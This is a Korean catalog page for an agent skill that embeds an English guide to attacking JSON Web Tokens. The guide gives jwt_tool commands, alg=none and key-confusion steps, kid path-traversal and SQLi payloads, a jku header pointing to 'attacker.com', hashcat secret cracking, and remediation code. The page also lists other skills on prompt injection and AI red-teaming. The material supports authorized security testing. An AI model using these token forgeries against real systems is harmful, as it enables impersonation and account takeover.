jwt
하는 일
이 스킬은 서명이 약하거나 잘못 설정된 경우 JSON Web Token(JWT)이 어떻게 공격받을 수 있는지 에이전트에게 가르칩니다. 로그인 토큰을 검토하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓사이트가 로그인에 JWT 토큰을 쓰고 검증 방식을 확인하려는 경우.
- ✓토큰 헤더에 kid, jku, x5u 같은 신뢰될 수 있는 필드가 있을 때.
- ✓보안 검토에서 토큰 서명을 우회하거나 깨뜨릴 수 있는지 물을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“제 앱의 로그인 토큰을 바꿔서 다른 사용자로 로그인할 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 토큰을 디코딩한 뒤 헤더를 바꾸거나, 서명 없는 토큰이나 다른 서명 방식을 시도해 서버가 바뀐 토큰을 여전히 받아들이는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
JSON Web Token Attacks
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
1. Anatomy
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
2. Attack surface
2.1 alg=none bypass
Set {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a # alg=none attack
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
2.3 kid header injection
kid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
2.4 jku / x5u URL injection
jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (
https://target.com.attacker.com/jwks.json) - userinfo (
https://attacker.com@target.com/jwks.json) - redirect chains via target's open-redirect
2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
header.payload. ← trailing dot, no sig
2.7 Embedded jwk header
jwk in header (vs jku pointer) — attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
Old node-jsonwebtoken accepted this.
3. Detection in recon
JWT presence signals:
Authorization: Bearer eyJ...headersaccess_token=eyJ.../id_token=eyJ...URL params or cookies.well-known/jwks.jsonendpoint exposed.well-known/openid-configurationdiscovery doc
4. PoC pattern (Burp + jwt_tool)
- Capture authenticated request
jwt_tool <JWT> -M at -t <target_url>— runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)- For positive results, replay manually via Burp Repeater to confirm
- Document the modified JWT + decoded admin claims as PoC
5. Severity calibration
| Bug | Typical severity |
|---|---|
alg=none accepted on user → admin claim swap |
Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted |
Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi → DB enumeration |
High 8.0 |
| Signature stripping accepted | Critical 9.8 |
6. Defender remediation
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
Cross-references
- Upstream catalog:
skills/_corpus/payloads/JSON Web Token/ - jwt_tool: https://github.com/ticarpi/jwt_tool
Known exemplars
- Auth0 alg=none (2015) — historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud → admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
자주 묻는 질문
none 알고리즘 테스트란 무엇인가요?
알고리즘을 none으로 설정하고 서명을 제거해, 서버가 서명 없는 토큰을 받아들이는지 확인하는 테스트입니다.
비밀 값을 깨뜨리려고 시도하나요?
네. 약한 HMAC 비밀 값을 깨는 방법도 다룹니다.
어떤 도구를 언급하나요?
토큰을 디코딩하고 테스트하는 jwt_tool과 jwt-cracker 도구를 언급합니다.
상세 정보
작성자의 원본 설명
JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14067
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.